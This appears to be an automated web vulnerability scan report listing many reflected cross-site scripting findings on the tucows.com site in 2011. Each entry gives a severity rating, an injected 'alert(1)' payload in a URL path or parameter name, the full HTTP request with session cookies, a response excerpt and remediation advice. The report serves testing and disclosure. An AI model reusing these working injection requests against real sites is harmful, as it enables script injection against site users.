<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Free Software and Sh ...[SNIP]... <script> loggedIn = false;
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8f530"-alert(1)-"6001743e8c7 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /about.html8f530"-alert(1)-"6001743e8c7 HTTP/1.1 Host: www.tucows.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=66e77a2b3520b37c3a18eb4d9cb0964a; __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; __utmc=163973946; __utmb=163973946;
Response
HTTP/1.0 404 Not Found Date: Thu, 03 Feb 2011 21:29:11 GMT Server: Apache/2.2.14 (Ubuntu) X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
1.237. http://www.tucows.com/about.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.tucows.com
Path:
/about.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cf95a"-alert(1)-"9164bc1eed8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /about.html?cf95a"-alert(1)-"9164bc1eed8=1 HTTP/1.1 Host: www.tucows.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=66e77a2b3520b37c3a18eb4d9cb0964a; __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; __utmc=163973946; __utmb=163973946;
Response
HTTP/1.1 200 OK Date: Thu, 03 Feb 2011 21:28:27 GMT Server: Apache/2.2.14 (Ubuntu) X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Connection: close Content-Type: text/html Content-Length: 32110
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Tucows Download</tit ...[SNIP]... <script> loggedIn = false;
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a5253"-alert(1)-"eb5b61b7f5a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /advertise.htmla5253"-alert(1)-"eb5b61b7f5a HTTP/1.1 Host: www.tucows.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=66e77a2b3520b37c3a18eb4d9cb0964a; __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; __utmc=163973946; __utmb=163973946;
Response
HTTP/1.0 404 Not Found Date: Thu, 03 Feb 2011 21:29:04 GMT Server: Apache/2.2.14 (Ubuntu) X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
1.239. http://www.tucows.com/advertise.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.tucows.com
Path:
/advertise.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ff349"-alert(1)-"f7b0a9fb104 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /advertise.html?ff349"-alert(1)-"f7b0a9fb104=1 HTTP/1.1 Host: www.tucows.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=66e77a2b3520b37c3a18eb4d9cb0964a; __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; __utmc=163973946; __utmb=163973946;
Response
HTTP/1.1 200 OK Date: Thu, 03 Feb 2011 21:28:35 GMT Server: Apache/2.2.14 (Ubuntu) X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Connection: close Content-Type: text/html Content-Length: 31529
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Tucows Download</tit ...[SNIP]... <script> loggedIn = false;
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5278d"-alert(1)-"005c7cc4526 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /affiliate5278d"-alert(1)-"005c7cc4526/index.html HTTP/1.1 Host: www.tucows.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=66e77a2b3520b37c3a18eb4d9cb0964a; __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; __utmc=163973946; __utmb=163973946;
Response
HTTP/1.0 404 Not Found Date: Thu, 03 Feb 2011 21:29:15 GMT Server: Apache/2.2.14 (Ubuntu) X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5dd2c"-alert(1)-"15b6c2e9e37 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /affiliate/index.html5dd2c"-alert(1)-"15b6c2e9e37 HTTP/1.1 Host: www.tucows.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=66e77a2b3520b37c3a18eb4d9cb0964a; __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; __utmc=163973946; __utmb=163973946;
Response
HTTP/1.0 404 Not Found Date: Thu, 03 Feb 2011 21:29:33 GMT Server: Apache/2.2.14 (Ubuntu) X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
1.242. http://www.tucows.com/affiliate/index.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.tucows.com
Path:
/affiliate/index.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 91153"-alert(1)-"4395b206045 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /affiliate/index.html?91153"-alert(1)-"4395b206045=1 HTTP/1.1 Host: www.tucows.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=66e77a2b3520b37c3a18eb4d9cb0964a; __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; __utmc=163973946; __utmb=163973946;
Response
HTTP/1.1 200 OK Date: Thu, 03 Feb 2011 21:28:38 GMT Server: Apache/2.2.14 (Ubuntu) X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Connection: close Content-Type: text/html Content-Length: 33162
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Tucows Download</tit ...[SNIP]... <script> loggedIn = false;
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ffad2"-alert(1)-"0aea99c7693 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /author_ratings.htmlffad2"-alert(1)-"0aea99c7693 HTTP/1.1 Host: www.tucows.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=66e77a2b3520b37c3a18eb4d9cb0964a; __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; __utmc=163973946; __utmb=163973946;
Response
HTTP/1.0 404 Not Found Date: Thu, 03 Feb 2011 21:29:02 GMT Server: Apache/2.2.14 (Ubuntu) X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
1.244. http://www.tucows.com/author_ratings.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.tucows.com
Path:
/author_ratings.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 509d3"-alert(1)-"fb9a5a72368 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /author_ratings.html?509d3"-alert(1)-"fb9a5a72368=1 HTTP/1.1 Host: www.tucows.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=66e77a2b3520b37c3a18eb4d9cb0964a; __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; __utmc=163973946; __utmb=163973946;
Response
HTTP/1.1 200 OK Date: Thu, 03 Feb 2011 21:28:27 GMT Server: Apache/2.2.14 (Ubuntu) X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Connection: close Content-Type: text/html Content-Length: 34722
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Tucows Download</tit ...[SNIP]... <script> loggedIn = false;
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 72c33"-alert(1)-"30d1cfe8a9a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /contact.html72c33"-alert(1)-"30d1cfe8a9a HTTP/1.1 Host: www.tucows.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=66e77a2b3520b37c3a18eb4d9cb0964a; __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; __utmc=163973946; __utmb=163973946;
Response
HTTP/1.0 404 Not Found Date: Thu, 03 Feb 2011 21:29:03 GMT Server: Apache/2.2.14 (Ubuntu) X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
1.246. http://www.tucows.com/contact.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.tucows.com
Path:
/contact.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c10ba"-alert(1)-"8abc5e611cd was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /contact.html?c10ba"-alert(1)-"8abc5e611cd=1 HTTP/1.1 Host: www.tucows.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=66e77a2b3520b37c3a18eb4d9cb0964a; __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; __utmc=163973946; __utmb=163973946;
Response
HTTP/1.1 200 OK Date: Thu, 03 Feb 2011 21:28:25 GMT Server: Apache/2.2.14 (Ubuntu) X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Connection: close Content-Type: text/html Content-Length: 33135
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Contact Us</title> < ...[SNIP]... <script> loggedIn = false;
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 39d2e"-alert(1)-"560230630e8 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /images39d2e"-alert(1)-"560230630e8/newassets/contact.html HTTP/1.1 Host: www.tucows.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=66e77a2b3520b37c3a18eb4d9cb0964a; __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; __utmc=163973946; __utmb=163973946;
Response
HTTP/1.0 404 Not Found Date: Thu, 03 Feb 2011 21:27:41 GMT Server: Apache/2.2.14 (Ubuntu) X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 40764"-alert(1)-"3559dd93eff was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /images/newassets40764"-alert(1)-"3559dd93eff/contact.html HTTP/1.1 Host: www.tucows.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=66e77a2b3520b37c3a18eb4d9cb0964a; __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; __utmc=163973946; __utmb=163973946;
Response
